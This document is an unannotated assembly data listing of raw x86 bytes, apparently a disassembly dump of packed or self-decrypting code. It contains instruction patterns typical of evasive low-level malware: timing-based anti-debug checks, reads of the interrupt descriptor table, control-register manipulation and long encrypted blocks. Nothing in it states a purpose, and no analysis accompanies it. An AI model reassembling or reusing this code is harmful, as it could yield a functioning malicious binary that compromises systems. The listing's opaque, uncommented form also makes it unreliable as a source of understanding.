		dd 51410000h, 0B2CC18C3h, 6AC08B83h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 0A9E6C353h
		dd 57F987A1h, 8BAD7AB2h, 0DDBD83CFh, 5E91Eh, 30840Fh, 0BE660000h
		dd 0BF0F7EB7h, 2A6E9CBh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1C0424h, 55450000h, 0B23853C3h, 19DCC8C5h
		dd 0DF8CAFB7h, 9E9h, 0E2744300h, 0DD86677h, 0F766EB4Fh
		dd 0F0004C7h, 26785h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh
		dd 24448104h, 1404h, 0C3554500h, 0DCD681E2h, 0BF5F8699h
		dd 0
		dd 7E851h, 4D190000h, 6E939D1Fh, 1EA8111h, 5E10C18Ch, 0CF9D8D59h
		dd 6A05EC42h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 14042444h, 41000000h, 0E8B7C351h, 7,	5B7E73C8h, 0E8613A6Fh
		dd 8, 3F52A4A9h, 0BB0B8B7Ch, 870Fh, 5A590000h, 0F525093h
		dd 87h,	0E8310F00h, 6, 0C2FB99A6h, 52502A10h, 585A310Fh
		dd 50585A5Ah, 11E8h, 0EC37E700h, 3988E994h, 0CEA69C18h
		dd 80859DF1h, 6656D960h, 5A5ED38Bh, 56006A93h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1B04h,	0C3564600h, 8F5ED315h
		dd 1BC7544Bh, 66D1BF0Fh, 447AF281h, 35FF64h, 0BE000000h
		dd 3A00F95Ah, 6E8BB966h, 258964h, 6A000000h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1C042444h, 42000000h
		dd 0C72C352h, 69883918h, 8B8C00AAh, 52006AC4h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1704h,	0C3524200h, 0C9AF7855h
		dd 0EB01CDh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 14h,	0E6C35141h, 0EB816660h,	0CE892AEh, 0F1000000h
		dd 0ACB600B4h, 28FF18A2h, 66016518h, 6FEEEE81h,	0AE9615Fh
		dd 0C2000000h, 0F5600CFAh, 0DE750940h, 56006A4Fh, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h
		dd 7D4C7475h, 0BE9B186h, 0CE000000h, 8077AC21h,	998FFC62h
		dd 8F649B62h, 5, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1904h, 0C3534300h, 44395C32h, 0C4832287h
		dd 0C00BF904h, 72840Fh,	5E90000h, 0C3000000h, 0F255D9A1h
		dd 0C88B6661h, 72D4BD8Dh, 840F05E9h, 12h, 0AE8h, 1DE1E400h
		dd 47D2C6A4h, 6000DDCBh, 1B85961h, 8B000000h, 0E9E7FFF2h
		dd 0Ch,	267BDBBBh, 62973AFDh, 238C3B9h,	245C8B57h, 0B8838B10h
		dd 0F000000h, 0FE0140B6h, 0B08389C8h, 83000000h, 0B883h
		dd 335F0200h, 61BAC3C0h, 661684A1h, 0ABD1C981h,	0E7816061h
		dd 2A721B01h, 7B00C0BFh, 0C08B613Eh, 83D2BF0Fh,	0E9164DBDh
		dd 9750005h, 1121BD83h,	740005E9h, 8B535019h, 40EB8C0h
		dd 85890000h, 5E905ADh,	0B92B9D8Dh, 0D3FF05EBh,	0BD83585Bh
		dd 5E91121h, 50177400h,	40EB853h, 85890000h, 5E905ADh
		dd 0B5CC9D8Dh, 0D3FF05EBh, 6A585Bh, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1B0424h, 55450000h, 4C559BC3h
		dd 4FCB896Ch, 66C08BD9h, 0F5FD981h, 0CE8C28Bh, 3F000000h
		dd 1782511Bh, 0A305696Dh, 664F0898h, 26A3DB81h,	0C781F95Fh
		dd 613Dh, 94E88166h, 1825B9AEh,	0E2800000h, 8037FFD8h
		dd 665EF2D2h, 0C681C38Bh, 2265D78Ch, 336EF681h,	0B70F1757h
		dd 54F681D7h, 524D7897h, 0BE9h,	91082A00h, 0E4C6DE9Ah
		dd 0B2B5B248h, 0CB815658h, 7B83D0B7h, 0D3B2078Fh, 9E7FEF81h
		dd 14B33B02h, 9E7BC781h, 0BA663B02h, 0E98399E1h, 1C850F01h
		dd 0F000000h, 29E9C6B7h, 0B9000000h, 0D4CB8056h, 70BB4E91h
		dd 12F810A0h, 88205A43h, 663624B6h, 0FB00D281h,	0FFFF84E9h
		dd 0B22BA8FFh, 0CF4993E6h, 818377A5h, 0F31718EBh, 9B46h
		dd 4 dup(0)
		dd 0BE90000h, 60000002h, 24245C8Bh, 0E8h, 0ED815D00h, 5EC4460h
		dd 4C261h, 0FFFFE6E9h, 0C26160FFh, 0F6E90008h, 60FFFFFFh
		dd 8C261h, 0FFFFF6E9h, 0C26160FFh, 0F6E90008h, 60FFFFFFh
		dd 8C261h, 0FFFFF6E9h, 0FFh, 0
		dd 0C3616000h, 0FFFFF8E9h, 98B58BFFh, 8105EC44h, 0FFF000E6h
		dd 0BE9FFh, 19E80000h, 81000000h, 1000C6h, 9CB53B00h, 0F05EC44h
		dd 0FFFFE986h, 0D8200FFFh, 0CFD8220Fh, 50C36160h, 24C88C66h
		dd 0FC00A03h, 1984h, 0BB535000h, 2, 2FD9858Bh, 188605E9h
		dd 850FDB0Ah, 0FFFFFFF6h, 0FF58585Bh, 0E9C32404h, 0FFFFFFCFh
		dd 2474FF50h, 8195FF08h, 5005E930h, 244C010Fh, 0C08358FEh
		dd 5C8B531Ch, 89660C24h, 8966FC58h, 665B0258h, 324C88Ch
		dd 840FC00Ah, 9, 2FD9858Bh, 0C605E9h, 4FF5800h,	4C224h
		dd 0FFFFBBE9h, 665053FFh, 0E380CB8Ch, 0FDB0A03h, 3884h
		dd 2BB00h, 858B0000h, 5E92FD9h,	0DB0A1886h, 0FFF6850Fh
		dd 85C7FFFFh, 5E92F41h,	0
aLdLs		db '‹D$',8,'‹˜',0
		db 10h
		dd 98890000h, 1000h, 1889188Bh,	0AE9h, 4185C700h, 5E92Fh
		dd 58000001h, 2404FF5Bh, 0FFA3E9C3h, 8060FFFFh,	840F003Eh
		dd 31h,	3AB7A1BBh, 0B101B076h, 13E901h,	8AAC0000h, 32C302C8h
		dd 0AACBD1C3h, 840FD20Bh, 1, 0FC90A4Ah,	0FFFFE585h, 0FD20BFFh
		dd 0FFFFDD85h, 52C361FFh, 8B57D48Bh, 0C033087Ah, 1E9h
		dd 3F80AA00h, 0F6850F00h, 5FFFFFFFh, 4C25Ah, 33565153h
		dd 0E9DB33C0h, 10h, 0D1D833ACh,	0BCC381D3h, 8A37465Ah
		dd 49D3D3C8h, 850FC90Bh, 0FFFFFFE8h, 595EC38Bh,	0BB60C35Bh
		dd 763AB7A1h, 11E901B0h, 0AC000000h, 0C32AC332h, 0BAACBD1h
		dd 1840FD2h, 4A000000h,	850FC00Ah, 0FFFFFFE7h, 850FD20Bh
		dd 0FFFFFFDFh, 8C66C361h, 0F04A8D8h, 2984h, 3D85C700h
		dd 105EC44h, 50000000h,	244C010Fh, 41858FFEh, 8D05EC44h
		dd 0EC443985h, 41BD8D05h, 8905EC44h, 23E938h, 858D0000h
		dd 5E925D1h, 538408Bh, 9B46F317h, 44398589h, 858D05ECh
		dd 5E925D1h, 893C408Bh,	0EC443D85h, 56858D05h, 8905EC44h
		dd 0E9308185h, 87E905h,	8B520000h, 728B60D4h, 0C7A8B08h
		dd 45CAB2B8h, 7E9A9h, 6000000h,	0C8D10630h, 0FF73B46h
		dd 0FFFFF182h, 0C25A61FFh, 8B520008h, 728B60D4h, 0C7A8B08h
		dd 45CAB2B8h, 7E9A9h, 6300000h,	0C8D10628h, 0FF73B46h
		dd 0FFFFF182h, 0C25A61FFh, 8B520008h, 535156D4h, 728BDB33h
		dd 0C4A8B08h, 13E9h, 2D3CAC00h,	0A840Fh, 98040000h, 0D8321334h
		dd 4908C3C1h, 850FC90Bh, 0FFFFFFE5h, 595BC38Bh,	8C25A5Eh
		dd 0C9858D00h, 8905EC46h, 0E90D5185h, 0F1858D05h, 8905EC46h
		dd 0E9116985h, 19858D05h, 8905EC47h, 0E9247185h, 8EB05h
		dd 0
		dd 0E9000000h, 7Bh, 10F5260h, 5AFE244Ch, 8B24C283h, 0E901BD85h
		dd 41858D05h, 8B05EC96h, 888B08h, 8B000010h, 4A8B660Ah
		dd 7A8D89FCh, 8305EC47h, 0E90E09BDh, 840F0005h,	0Fh, 0FF006A60h
		dd 0E91E9595h, 0C4E96105h, 66FFFFFFh, 0C1FC7289h, 896610CEh
		dd 0CD520272h, 85895A04h, 5EC4776h, 477AB58Bh, 0CEC105ECh
		dd 72896610h, 7AB58B02h, 6605EC47h, 61FC7289h, 4776858Bh
		dd 8DC305ECh, 0E9091D95h, 0D9958905h, 8905E92Fh, 0E9305595h
		dd 5585FF05h, 0C605E930h, 0E90EE585h, 0D8685305h, 0FFFCB148h
		dd 0E92345B5h, 0CF858D05h, 0FF05E939h, 958589D0h, 8D05E91Eh
		dd 0EC447085h, 75858905h, 0E905E926h, 51h, 24748B60h, 3C760324h
		dd 28247C8Bh, 0C281D68Bh, 0F8h,	64E8B66h, 83C9B70Fh, 840F00F9h
		dd 16h,	0F0C7A3Bh, 158Fh, 28EA8300h, 8B0C428Bh,	0C12B144Ah
		dd 7C89F82Bh, 0C2611C24h, 0C2830008h, 850F4928h, 0FFFFFFCFh
		dd 0FFFFE9E9h, 0FD3EBAFFh, 20EB0009h, 8	dup(0)
		dd 5E5E9h, 5D9E900h, 0AA680000h, 0E905EC4Ah, 0FFFD3723h
		dd 0EC4B5968h, 3719E905h, 2668FFFDh, 0E905EC4Dh, 0FFFD370Fh
		dd 0EC4DBC68h, 3705E905h, 91D1FFFDh, 2B674D6Ah,	0BCF9DFFCh
		dd 4F8A708Dh, 0DB19FF1Ch, 538F93B0h, 0E1FE2967h, 7693BAFBh
		dd 9265190h, 99B6E923h,	793DEBCCh, 85132552h, 85C24E2Ch
		dd 0EE1D2856h, 0B313753Ah, 0BFA0516Ah, 8B830EB6h, 0E0E29C39h
		dd 1796C9DFh, 0E4ACFF76h, 0F0C0CF1Fh, 0EB3A47C1h, 86507EB1h
		dd 1F9A79D5h, 0B95689C3h, 4F98h, 903E5F00h, 96C986CEh
		dd 2B6B19D0h, 0B396C986h, 103EDB3Dh, 0C91AD5EEh, 1282DA16h
		dd 7F2D4E6Fh, 16C91A3Fh, 0F74F7EBBh, 1ACC9240h,	5CD216C9h
		dd 18A35DFAh, 171C3562h, 0C66F77E8h, 89261606h,	0E71431A7h
		dd 73A1D00Dh, 232E0CA9h, 6E000000h, 0C91AD4EEh,	1383DB16h
		dd 6207C270h, 0DB4B1C35h, 0C284329Ah, 0CC132552h, 0FCC6F456h
		dd 0D6385FA0h, 0A17B8BB9h, 3F093762h, 507FBCA2h, 23D1722h
		dd 26D7A1CFh, 5D166E87h, 0A45EFBC2h, 0E643805Dh, 23C65A1h
		dd 75D7A1CFh, 15488347h, 39AECEE7h, 71B42B7Fh, 0B3EB8AE9h
		dd 832154A3h, 6628D646h, 6869369Bh, 6290B7F8h, 0B7D43698h
		dd 11B4287Eh, 36AB5F63h, 8E31A769h, 8BFFBF6Dh, 89FF6936h
		dd 28C5EC2Dh, 3F72AC70h, 2191E922h, 8877D07Eh, 41B763CDh
		dd 68726F9Eh, 0FF5551D9h, 3012AA62h, 476CDF95h,	34DCCFA6h
		dd 2C3AD95Ch, 89h, 58176FF2h, 0BA1A9023h, 2B6B193Bh, 0B316C9EFh
		dd 0D679DB3Dh, 0A0E694B5h, 2E16C9EFh, 225083BEh, 9F59F658h
		dd 1C35A65Ch, 5B00EC1Bh, 693E8325h, 0D174EACCh,	6C97D6B0h
		dd 0F1D7743Eh, 1F4E8AB7h, 0A8C527F1h, 245588C2h, 698AC53Fh
		dd 5458140Ch, 18000003h, 0AE94B1D8h, 40264372h,	0D1B7D403h
		dd 60466396h, 0D6DAF722h, 3D68A60Ch, 0D2F93A20h, 6590CFB5h
		dd 0F5286248h, 7C2A0BD8h, 1325503Ah, 0CA8D6BC4h, 31Fh
		dd 5685C20Ah, 1AB29028h, 46FC16C9h, 0E816C91Ah,	16C91AA5h
		dd 0C91A6D55h, 1A81C116h, 152D16C9h, 2656C91Ah,	1A175705h
		dd 2197D6C9h, 687EC570h, 0AF4C8D20h, 0BAE1E76h,	3C7A3CEAh
		dd 0E84D6C9h, 0C8964471h, 0D6DC2FE9h, 0E48EBD60h, 0DCC04596h
		dd 40377725h, 41B7D322h, 154883DFh, 51A9C078h, 0CF903EE1h
		dd 84D9D941h, 0A4416CAAh, 1C1B4CC2h, 0EBAF756Ah, 2A537F3h
		dd 29690000h, 0C3FFE502h, 54917794h, 0E7220825h, 73B197B4h
		dd 0BB272B48h, 7996C1FFh, 0E2B5293h, 0A1BEE928h, 314E81BBh
		dd 91D58364h, 1D132551h, 88C2E6C4h, 1A206614h, 38AE16C9h
		dd 3991A8D6h, 0A97826C9h, 311C3562h, 7BB89EBBh,	0C492F4Ch
		dd 4098AFDDh, 0EB0C2DD0h, 2552793Dh, 0B30F8513h, 0F0AA4776h
		dd 19D92A49h, 0D1FE1B91h, 969607A2h, 38D58837h,	0C978447Eh
		dd 0A3136B16h, 132BD100h, 4FD2811Ah, 8A6485B2h,	26F01E4Dh
		dd 446CCF89h, 40B61C35h, 0AD546E9Dh, 335F55F5h,	6E486996h
		dd 5313C131h, 5B1325C3h, 915583E5h, 25C22457h, 0B5D2053Fh
		dd 0D31395CFh, 0B3A772Ah, 0CA6213DDh, 0A548AA9Fh, 13BC3A76h
		dd 0F598C8FAh, 256A0747h, 74118713h, 6A6E24BCh,	0C2D1325h
		dd 256A185Eh, 9330A613h, 0DD43025Ah, 56423058h,	5B35D83Ah
		dd 2653F01Fh, 0D9EDC178h, 0F0930919h, 0BE00AECFh, 4016C9DDh
		dd 0AE409F7Bh, 8BED240Fh, 9BCE08EEh, 8ADAC9F8h,	0E0E43229h
		dd 406F9C43h, 767C4BD1h, 0A389267Ah, 70083669h,	16C9A122h
		dd 33629F79h, 734BEC05h, 0C8B388DAh, 3890C966h,	0D07725C8h
		dd 1A1C3566h, 0ED2701A4h, 7DB79DBAh, 0AD051C4Ah, 51EC9A3Dh
		dd 9919D92Eh, 655DF523h, 9216C91Eh, 792784F1h, 7740CFD3h
		dd 13h,	64A17B3Dh, 0A03D0735h, 0C92DDCE6h, 152E16h, 7B6E0000h
		dd 53366A1h, 1EB00FECh,	95F74821h, 0F5043EF8h, 6F3616C9h
		dd 0E304A717h, 1A5214C2h, 0E65C16C9h, 0C91AF0B6h, 0EB88FE16h
		dd 62D110BEh, 63D91C35h, 56C61E35h, 79B892B3h, 0B956204Eh
		dd 0DDBBB2FFh, 8DBE3419h, 6F724F9Ch, 0D8BF7B73h, 9C000000h
		dd 3218355Ch, 0C4AAC7F6h, 553B5887h, 0E4CAE71Ah, 5A5E7BA6h
		dd 0C9F43288h, 5E85C6ACh, 0F11C5B41h, 81B4EED4h, 8B69764h
		dd 13255746h, 7B11EF48h, 48F662A1h, 16C91A06h, 13B01288h
		dd 6F1282DAh, 356262C1h, 0C4F2681Ch, 779EDFB9h,	1A498549h
		dd 23C022ECh, 7F2292EAh, 0A03D64A5h, 0B5C0C573h, 0E20319DDh
		dd 0CC7F7234h, 17C57C16h, 16CC7F57h, 0E27FE157h, 0DB9B4900h
		dd 0E316CC7Fh, 0A6083773h, 7F115503h, 279D16CCh, 59C994C5h
		dd 9E966F72h, 42E2h, 9FC60600h,	31609C82h, 0C2F12E14h
		dd 5184BFA5h, 0E5104E34h, 941EC4C8h, 280E2B56h,	0BDA3C0E7h
		dd 5036537Eh, 0F9C6E316h, 57246A18h, 51AA1325h,	0DCA73h
		dd 7B0A0000h, 9A3762A1h, 124C2693h, 0C21442DFh,	692D5B82h
		dd 0ACEFC2Fh, 0AE72A0CBh, 5418466Dh, 0F9BDEB16h, 9E6290BBh
		dd 3E023063h, 0E0A4D201h, 864775A4h, 81E78957h,	4C7h, 4EF8100h
		dd 87000000h, 895C243Ch, 0B9682434h, 89000036h,	0A468242Ch
		dd 89000000h, 0B951241Ch, 5EC48F1h, 54595D51h, 81241C8Bh
		dd 4C4h, 2C815500h, 4C262924h, 8438F10h, 29084381h, 8B104C26h
		dd 8953241Ch, 4C381E3h,	81000000h, 4C3h, 241C8700h, 2434FF5Ch
		dd 4C4815Dh, 0E9000000h, 0FFFD3163h, 7E3FC40Fh,	87006B8Fh
		dd 0AD9B1D6Eh, 0B8BBED7Eh, 5EC4E23h, 0C88BC503h, 66E900EBh
		dd 0E9000006h, 65Ah, 0EC4F9868h, 3135E905h, 0DE68FFFDh
		dd 0E905EC50h, 0FFFD312Bh, 0EC515868h, 3121E905h, 2568FFFDh
		dd 0E905EC52h, 0FFFD3117h, 0EC53AE68h, 310DE905h, 99D9FFFDh
		dd 336F5572h, 0C401E704h, 57927895h, 0E3210724h, 4B979BB8h
		dd 0E906316Fh, 7E9BC203h, 112E5998h, 0A1BEF12Bh, 145F3D4h
		dd 8D132554h, 0D4EE5634h, 5A16C91Ah, 16C91A14h,	0C63A754Fh
		dd 0C91A5618h, 80E25816h, 31EB8852h, 16C91A6Eh,	0C91AA69Ch
		dd 1A3B0816h, 260016C9h, 587FC0E9h, 0D0FE602Ah,	93AF6906h
		dd 9C96C91Ah, 8331D444h, 9C322882h, 9973168Ch, 2C122F5Ah
		dd 8994C2EDh, 0A94671AFh, 5A81870h, 5115C3E4h, 5D932008h
		dd 0CF904AE7h, 8499DB09h, 9456EAAh, 80E2ACDAh, 9EB8852h
		dd 9CC76293h, 0F8EF77h,	4B844h,	0C3EA2A00h, 5584C0A6h
		dd 0E6155238h, 75A8E3C9h, 9347258h, 0C0FAE8ECh,	543A5782h
		dd 0E9CFEC13h, 7C627FAAh, 25F20F42h, 55D09644h,	85DE1325h
		dd 5588C2A7h, 1AB28F27h, 38B116C9h, 0FA2D673Dh,	10437D57h
		dd 0D47B18E2h, 0DE81B4EEh, 6E9CC304h, 444F07A4h, 1A317523h
		dd 47BD16C9h, 578AC4AAh, 9BDA3929h, 81AEE8C2h, 88B61843h
		dd 2E5C83C4h, 7F650264h, 0ADDC1845h, 814F2E4Bh,	9F40CFD7h
		dd 41Fh, 4BBE3766h, 4A35AC0Dh, 88C27FADh, 1A206614h, 38AE16C9h
		dd 0C39DA8D6h, 5F295786h, 1A3B08C2h, 0D4716C9h,	0ADE8ACDAh
		dd 1B3E4C7Ah, 0DE0D4A5Ah, 0EA8BFE7Ch, 165380BAh, 1AB6F8A6h
		dd 0C23816C9h, 3A5BFE60h, 0C91ACA8Ch, 0AD5ED416h, 3C0BA4BCh
		dd 9A41DED4h, 783EECCDh, 8616C93Bh, 0DF1EE210h,	3B6A97B4h
		dd 6F9A462Bh, 0AA902D15h, 0D9044370h, 0DE324977h, 4690F717h
		dd 0EC4ECB2Eh, 7CAFE9CFh, 22498A4Eh, 5E774B05h,	4A8B16C9h
		dd 86DEF523h, 65447316h, 0A3CE0D46h, 544834F2h,	3DC8AB7h
		dd 401C3106h
		dd 0E50FE1Fh, 901320CEh, 0CEA4EA1Ah, 0B42A1320h, 8EBF3517h
		dd 698DE4A1h, 72BA766Eh, 0E4000003h, 7A607DA4h,	0CF20F3Eh
		dd 9D83A0CFh, 2C122F62h, 0A2A6C3EEh, 113C7A40h,	0A6CD0EF4h
		dd 3964A389h, 0C9FC361Ch, 50FEDFACh, 13254A0Eh,	0C2593790h
		dd 63275588h, 4C8F629h,	0C57F9CC3h, 16C91ABDh, 0C92AD1F1h
		dd 0CFF03116h, 6E386691h, 0B2D3DE0Ch, 0C90A4204h, 0E0074816h
		dd 1A90E8B2h, 0AFFC37Dh, 58B016C9h, 0A69745E8h,	0E81C3222h
		dd 0B15A4172h, 0B5AD698Eh, 2F8F9h, 32A6A00h, 95C400E6h
		dd 26559278h, 0B5E82309h, 4974B298h, 0BA282Ch, 947A97C2h
		dd 290F2C53h, 0BCA2BFEAh, 65324F82h, 4B90D684h,	0C51E1325h
		dd 688C2E7h, 0E9228ACBh, 36E487C2h, 16C91E70h, 78A6087Eh
		dd 58067AB4h, 16C91E16h, 92C02298h, 723243A2h, 0BBE80538h
		dd 0F9FBE8Ch, 6F21D1CAh, 0DD5C0DEBh, 1D44856Bh,	26C325EFh
		dd 0CF7A9947h, 26D9740h, 0EE5D0000h, 16C91AD4h,	0A7C4EF2Eh
		dd 0B45782C1h, 0D0D42C85h, 703A688Fh, 0FE354FBFh, 1D146F35h
		dd 0C05DBF1Ah, 0DA054408h, 185DBCACh, 5224D8Ch,	0CF427A26h
		dd 507640h, 6F3C0000h, 0F6B86617h, 0F816C91Ah, 0CF7D2082h
		dd 1C320996h, 7871A218h, 0C7698E88h, 22B13CFh, 5D9D0000h
		dd 0F7331936h, 88C5ABC8h, 1B563C59h, 0A7E5CBE8h, 875B5F7Ch
		dd 0A5C2ED2Bh, 3A577EBFh, 0CDEA1554h, 5D7AADE7h, 0BD01AF90h
		dd 41132548h, 5D6D0AE8h, 9CD3EC23h, 7C9D7EC1h, 4FE9AD5Bh
		dd 7FF516C9h, 0C94F0F4Fh, 0D8CA8F16h, 6E362962h, 0B8E582E4h
		dd 0C9BD4C0Ah, 0AEDC5216h, 668BC9A3h, 0FE9BFD28h, 91AED918h
		dd 1D508A64h, 2D609A80h, 0DB1AF4FFh, 86DA13B0h,	0CC0BF10Eh
		dd 649E84A1h, 0DDD04CE2h, 54B6F1E0h, 6E99D7B1h,	21D97640h
		dd 6B41C5Dh, 16C92140h,	5976D84Eh, 0DC8AAB8Ch, 16C9219Ah
		dd 5D0BAE24h, 16C92119h, 65922FA5h, 0C921F7B7h,	0DE81F716h
		dd 5FF1CCAFh, 58F550A7h, 906695A0h, 3CD7A944h, 54228C5h
		dd 0E1A7E795h, 0B12716C9h, 0A3F9324Fh, 3D012Fh,	5F0D2ED1h
		dd 16C9E11Fh, 0E58C299Fh, 0C9E1172Bh, 94A2416h,	4DEAB4E2h
		dd 0A94CBC14h, 31097EFBh, 0DF82F81Ch, 7AA5E4BEh, 0D393414Ch
		dd 0DB1320C6h, 80660365h, 0B0DF1B44h, 3956B882h, 1C991753h
		dd 64D6B3Bh, 35DED8E0h,	4DAF21E9h, 1C1948EBh, 0EFE46B33h
		dd 3641F996h, 0C3F1205Ch, 37765CF9h, 0A9A822BDh, 6ACCDB2Eh
		dd 1037783Ch, 0C2FDD7E2h, 47DEA04Eh, 6AE01320h,	7310DA08h
		dd 0F321508Dh, 5519C7E8h, 59132047h, 0B50D46E3h, 0FFEC4EF6h
		dd 0B1624938h, 5C334B84h, 39DC3E80h, 0D830428Bh, 0A5D64C19h
		dd 6F76D4B2h, 0A2E9A59Dh, 14000000h, 0AA90ADD4h, 3C223F6Eh
		dd 0CDB3D0FFh, 5C425F92h, 0D2D6F31Eh, 416CAA10h, 0D6FD3E24h
		dd 6994D3B9h, 0F92C664Ch, 802E0FDCh, 1325493Eh,	0C28967C0h
		dd 20661488h, 0AE16C91Ah, 0E4A8D638h, 0F427DAAh, 87B517E1h
		dd 673D3897h, 0FEDDFA2Dh, 40CFD752h, 33732142h,	70E936EEh
		dd 36EEFCC2h, 348C02E9h, 29578AC4h, 3F60FD5Fh, 1Fh, 0AC5A7B05h
		dd 16C91AEAh, 27E17EF4h, 16C91A1Ah, 58FB2E68h, 79163D7Eh
		dd 0EF4D2h, 0EE340000h,	16C91AD4h, 8CC7F42Eh, 0ACDAF759h
		dd 24A44E2h, 0B1000000h, 5B82C243h, 0FC2F692Dh,	0A0CB0ACEh
		dd 466DAE72h, 0EB165418h, 90BBF9BDh, 30639E62h,	0D2013E02h
		dd 75A4E0A4h, 89568647h, 4C681E6h, 57000000h, 4BFh, 5FFE2900h
		dd 5C243487h, 81E28952h, 4C2h, 4EA8100h, 87000000h, 895C2414h
		dd 0CD68242Ch, 89000022h, 5BD2414h, 0F716F55Eh,	0F1E581DDh
		dd 81345800h, 6D0F78F5h, 44CD8146h, 571D3050h, 76EF1CBFh
		dd 5FFD0186h, 4EC81h, 24890000h, 24048324h, 81555A04h
		dd 3AFB242Ch, 428F6D67h, 8428108h, 6D673AFBh, 5A2434FFh
		dd 8B04C483h, 8953242Ch, 4C381E3h, 83000000h, 1C8704C3h
		dd 0ECE95C24h, 0EFFFD2Ah, 1C55AB7Bh, 75B84D42h,	305EC54h
		dd 0E9D18BC5h, 0D9h, 0FBE1D20h,	2F82C12Ch, 0BEB6CFDFh
		dd 365D54FDh, 0BCECA436h, 0C55DD500h, 0D676D352h, 0FC94A4h
		dd 0C1AEC441h, 5277CB50h, 9CACAC32h, 0F691B800h, 82CD64F7h
		dd 3893h, 3C00h, 4000h,	9400h, 500h, 100h, 0A2800h, 200h
		dd 20h dup(0)
		dd 0A12F1400h, 1F10E931h, 0DB680000h, 0E905EC57h, 0FFFD29EFh
		dd 0EC58B668h, 29E5E905h, 7868FFFDh, 0E905EC59h, 0FFFD29DBh
		dd 0EC5A6A68h, 29D1E905h, 4568FFFDh, 0E905EC5Bh, 0FFFD29C7h
		dd 0EC5BF168h, 29BDE905h, 0A168FFFDh, 0E905EC5Ch, 0FFFD29B3h
		dd 0EC5D6668h, 29A9E905h, 2468FFFDh, 0E905EC61h, 0FFFD299Fh
		dd 0EC619968h, 2995E905h, 0A368FFFDh, 0E905EC62h, 0FFFD298Bh
		dd 0EC65D868h, 2981E905h, 2A68FFFDh, 0E905EC69h, 0FFFD2977h
		dd 0EC6C5268h, 296DE905h, 9768FFFDh, 0E905EC6Dh, 0FFFD2963h
		dd 0EC6E1768h, 2959E905h, 8768FFFDh, 0E905EC6Eh, 0FFFD294Fh
		dd 0EC6EE868h, 2945E905h, 0C568FFFDh, 0E905EC6Fh, 0FFFD293Bh
		dd 0EC715668h, 2931E905h, 4D68FFFDh, 0E905EC72h, 0FFFD2927h
		dd 6F8CB3F3h, 11E4D89h,	92AFDE1Bh, 213E71ACh, 0B5D2FD3Bh
		dd 4B8931B1h, 0DC1D0320h, 73B298B5h, 0B452B48h,	0DEEBBD8h
		dd 254C1F5Fh, 68469F13h, 620688C2h, 5D76BB71h, 0D094C224h
		dd 0D466396h, 0F4A245B5h, 1C32F87Bh, 0C75F8D03h, 1320D7FBh
		dd 911A5BFCh, 45261ECFh, 3BE1h,	176FA700h, 35E304A7h, 16C91A71h
		dd 0BF23B87Dh, 0DB1B3D9Ah, 1AFDC79h, 1C323CE0h,	0EA82B026h
		dd 13201ED8h, 0B4F77E1Fh, 4526D3ECh, 0B804h, 0FCAACB00h
		dd 1321E2BAh, 331CE44h,	3665A17Bh, 0BBA13E08h, 5C204E81h
		dd 1C5F31Eh, 0A26694C7h, 5E183568h, 16C915DBh, 0D1EE215Bh
		dd 507EB1EBh, 0CE71E139h, 31F3AB20h, 5875EB1Ch,	0E908C71Fh
		dd 674744F1h, 0B088E896h, 70F930FFh, 3FA10336h,	6081C29Ch
		dd 0CAF81Fh, 26D4019Eh,	19C6A520h, 3B15B82Eh, 88B5D2FDh
		dd 95F5B967h, 83F916CBh, 97C200E6h, 75139566h, 6C2BA6Fh
		dd 1C84h, 6380A7E7h, 0F512417Dh, 86A3D20Fh, 153265A0h
		dd 0A9C6F12Fh, 37753DA5h, 0C809EF0Ch, 5F9E84A1h, 0F7311734h
		dd 0F9DAA7C4h, 254D0B4Bh, 5C3A9313h, 3C5984C2h,	0CCE91C56h
		dd 0A7176F9Eh, 294D5604h, 43B91C32h, 0FCDB0A15h, 38224F27h
		dd 0C101BB58h, 36132069h, 5CBE095h, 0F4526A4h, 7D7E40EEh
		dd 0A801320h, 0B14C6Dh,	7B120000h, 93762A1h, 82BCA23Fh
		dd 3C16214Fh, 6C9BD8FDh, 7512DC0Ah, 0F826518Fh,	0C915DD60h
		dd 6401A16h, 3EDBA5D3h,	0CEEB1E58h, 4D7BAEE8h, 0CB6EDE36h
		dd 31F3AC1Dh, 5774EA1Ch, 7707C61Eh, 1A83C6B0h, 83A447A9h
		dd 12406BA9h, 5EF1AB48h, 0A419C69Bh, 906A8B2Eh,	2CF62453h
		dd 406BA98Fh, 0DAFF3D23h, 0DA0B6DA0h, 6F74F5AFh, 0A94C0800h
		dd 0C00001Bh, 0A288A5CCh, 341A3766h, 0C5ABC8F7h, 543A578Ah
		dd 0CACEEB16h, 3964A218h, 0CEF5361Ch, 618CCBB1h, 0F1245E44h
		dd 782607D4h, 13254236h, 0C2815FB8h, 62C30A84h,	0FA011A22h
		dd 5B957B98h, 0C2DD0B28h, 63275588h, 8FC2FC29h,	92359761h
		dd 0B35077B8h, 0E4BEDF0Ch, 74777AAh, 8716C91Ah,	71507411h
		dd 0E78AFA52h, 321CD439h, 75A41A1Ch, 0BA3227DFh, 4421CA6h
		dd 85E1ABD9h, 20EA184Bh, 41F24A83h, 0AE7AD393h,	0B57A82AFh
		dd 76BEC4CBh, 0A346A81Eh, 0C3608BC9h, 5A9B7596h, 5BDC9633h
		dd 0E3A5568Ch, 0D0283F6Dh, 0FBD60h, 0AA0BC48h, 0DD17F194h
		dd 6DA78DAAh, 40CC093Ah, 433BB610h, 1AE787h, 0E30A4A00h
		dd 75A4E0C6h, 6357258h,	95C803E9h, 29549278h, 0E0DA080Ch
		dd 745A77A2h, 9EF0C33h,	9C829FCAh, 45122F62h, 43F0B664h
		dd 0A5FE1325h, 0F34C7BC7h, 8BEA52DCh, 0E2114EAAh, 674DEAB4h
		dd 0B5CCFA2Dh, 294AED5Dh, 45E2154Fh, 32F6CA8Bh,	4A5A891Ch
		dd 97CABBD3h, 92492BC8h, 207AA2E4h, 54B62C13h, 9FB21337h
